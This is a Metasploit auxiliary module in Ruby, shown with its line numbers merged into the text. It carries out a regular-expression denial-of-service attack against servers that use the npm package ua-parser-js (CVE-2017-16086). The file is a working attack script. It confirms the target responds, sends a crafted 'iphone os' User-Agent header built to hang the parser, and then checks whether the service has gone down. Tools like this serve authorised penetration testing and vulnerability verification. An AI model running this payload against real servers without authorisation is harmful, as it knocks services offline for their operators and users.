Path: blob/master/modules/auxiliary/dos/http/ua_parser_js_redos.rb
19515 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient7include Msf::Auxiliary::Dos89def initialize10super(11'Name' => 'ua-parser-js npm module ReDoS',12'Description' => %q{13This module exploits a Regular Expression Denial of Service vulnerability14in the npm module "ua-parser-js". Server-side applications that use15"ua-parser-js" for parsing the browser user-agent string will be vulnerable16if they call the "getOS" or "getResult" functions. This vulnerability was17fixed as of version 0.7.16.18},19'References' => [20['CVE', '2017-16086'],21['URL', 'https://github.com/faisalman/ua-parser-js/commit/25e143ee7caba78c6405a57d1d06b19c1e8e2f79'],22['CWE', '400'],23],24'Author' => [25'Ryan Knell, Sonatype Security Research',26'Nick Starke, Sonatype Security Research',27],28'License' => MSF_LICENSE,29'Notes' => {30'Stability' => [CRASH_SERVICE_DOWN],31'SideEffects' => [],32'Reliability' => []33}34)3536register_options([37Opt::RPORT(80)38])39end4041def run42if test_service43trigger_redos44test_service_unresponsive45else46fail_with(Failure::Unreachable, "#{peer} - Could not communicate with service.")47end48end4950def trigger_redos51print_status("Sending ReDoS request to #{peer}.")5253res = send_request_cgi({54'uri' => '/',55'method' => 'GET',56'headers' => {57'user-agent' => 'iphone os ' + (Rex::Text.rand_text_alpha(1) * 64)58}59})6061if res.nil?62print_status("No response received from #{peer}, service is most likely unresponsive.")63else64fail_with(Failure::Unknown, "ReDoS request unsuccessful. Received status #{res.code} from #{peer}.")65end66rescue ::Rex::ConnectionRefused67print_error("Unable to connect to #{peer}.")68rescue ::Timeout::Error69print_status("No HTTP response received from #{peer}, this indicates the payload was successful.")70end7172def test_service_unresponsive73print_status('Testing for service unresponsiveness.')7475res = send_request_cgi({76'uri' => '/' + Rex::Text.rand_text_alpha(8),77'method' => 'GET'78})7980if res.nil?81print_good('Service not responding.')82else83print_error('Service responded with a valid HTTP Response; ReDoS attack failed.')84end85rescue ::Rex::ConnectionRefused86print_error('An unknown error occurred.')87rescue ::Timeout::Error88print_good('HTTP request timed out, most likely the ReDoS attack was successful.')89end9091def test_service92print_status('Testing Service to make sure it is working.')9394res = send_request_cgi({95'uri' => '/' + Rex::Text.rand_text_alpha(8),96'method' => 'GET'97})9899if !res.nil? && (res.code == 200 || res.code == 404)100print_status('Test request successful, attempting to send payload')101return true102else103return false104end105rescue ::Rex::ConnectionRefused106print_error("Unable to connect to #{peer}.")107return false108end109end110111112